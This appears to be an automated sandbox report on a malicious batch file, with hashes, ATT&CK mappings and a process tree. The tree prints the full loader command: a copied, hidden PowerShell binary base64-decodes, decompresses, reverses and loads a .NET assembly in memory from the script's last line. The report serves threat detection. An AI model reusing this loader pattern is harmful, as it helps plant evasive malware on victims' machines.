ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8

General

Target

ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat
Size

1.4MB
MD5

70b340ae3989a38ceb1545ede320f991
SHA1

cb35aa2ea5282c6d3f051400466705058890a424
SHA256

ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8
SHA512

06c2ad0da9b0bb9c316170c65d0b54a8b0b69ff6c574eb62cb56e0b41b18c12c9d1b7f3eeb0279932e9c44201874f0d76b9d8cc889701578f7e6d1ef4af032c7
SSDEEP

24576:WYAnya111NrQcqRpa01Y31TGLN051hed0ELLtk1Koe78TYqE:WjyAwc1aLNch8HLG11dY

Score

8^/10

discovery evasion

Malware Config

Signatures

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2736	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
2748	ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2748	ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2748	ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2748	ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 808 wrote to memory of 2640	808	cmd.exe	31
PID 808 wrote to memory of 2640	808	cmd.exe	31
PID 808 wrote to memory of 2640	808	cmd.exe	31
PID 808 wrote to memory of 2636	808	cmd.exe	32
PID 808 wrote to memory of 2636	808	cmd.exe	32
PID 808 wrote to memory of 2636	808	cmd.exe	32
PID 808 wrote to memory of 2736	808	cmd.exe	33
PID 808 wrote to memory of 2736	808	cmd.exe	33
PID 808 wrote to memory of 2736	808	cmd.exe	33
PID 808 wrote to memory of 2748	808	cmd.exe	34
PID 808 wrote to memory of 2748	808	cmd.exe	34
PID 808 wrote to memory of 2748	808	cmd.exe	34
PID 808 wrote to memory of 2748	808	cmd.exe	34

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2736	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:2640
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks
  2⤵
  PID:2636
- C:\Windows\system32\attrib.exe
  attrib +s +h C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:2736
- C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks
  C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks -WindowStyle hidden -command "$Tgxjzck = get-content 'C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat' | Select-Object -Last 1; $Sqfmta = [System.Convert]::FromBase64String($Tgxjzck);$Mxcwwsucaf = New-Object System.IO.MemoryStream( , $Sqfmta );$Swnerx = New-Object System.IO.MemoryStream;$Sdlyutgsqdo = New-Object System.IO.Compression.GzipStream $Mxcwwsucaf, ([IO.Compression.CompressionMode]::Decompress);$Sdlyutgsqdo.CopyTo( $Swnerx );$Sdlyutgsqdo.Close();$Mxcwwsucaf.Close();[byte[]] $Sqfmta = $Swnerx.ToArray();[Array]::Reverse($Sqfmta); $Xkoilavqpaz = [System.Threading.Thread]::GetDomain().Load($Sqfmta); $Pfarfm = $Xkoilavqpaz.EntryPoint; [System.Delegate]::CreateDelegate([Action], $Pfarfm.DeclaringType, $Pfarfm.Name).DynamicInvoke() | Out-Null"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

2

T1564

Hidden Files and Directories

2

T1564.001

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2748-5-0x0000000073EF1000-0x0000000073EF2000-memory.dmp

Filesize
4KB

Download
memory/2748-6-0x0000000073EF0000-0x000000007449B000-memory.dmp

Filesize
5.7MB

Download
memory/2748-8-0x0000000073EF0000-0x000000007449B000-memory.dmp

Filesize
5.7MB

Download
memory/2748-7-0x0000000073EF0000-0x000000007449B000-memory.dmp

Filesize
5.7MB

Download
memory/2748-9-0x0000000073EF0000-0x000000007449B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads